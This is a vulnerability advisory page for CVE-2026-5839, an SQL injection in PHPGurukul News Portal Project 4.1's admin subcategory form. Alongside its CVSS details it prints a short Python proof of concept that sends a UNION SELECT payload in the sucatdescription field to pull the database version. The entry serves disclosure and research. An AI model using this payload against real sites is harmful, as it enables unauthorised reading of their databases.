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CVE-2026-5839 CVSS 4.7 MEDIUM

CVE-2026-5839

Published: 2026-04-09 05:16:06
Last Modified: 2026-04-29 01:00:02

Description

A vulnerability was identified in PHPGurukul News Portal Project 4.1. This issue affects some unknown processing of the file /admin/add-subcategory.php. Such manipulation of the argument sucatdescription leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

PHPGurukul News Portal Project 4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL url = "http://target.com/admin/add-subcategory.php" # Attacker needs valid admin session cookies (PR:H requirement) cookies = { "PHPSESSID": "admin_session_id_here", "auth_token": "valid_token_here" } # Payload to inject SQL via sucatdescription parameter # Example: Attempting to extract database version payload = { "categoryname": "Test", "sucatdescription": "Test' UNION SELECT 1, version(), 3, 4, 5-- -", "submit": "Submit" } try: response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully. Check response for SQL output.") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

References

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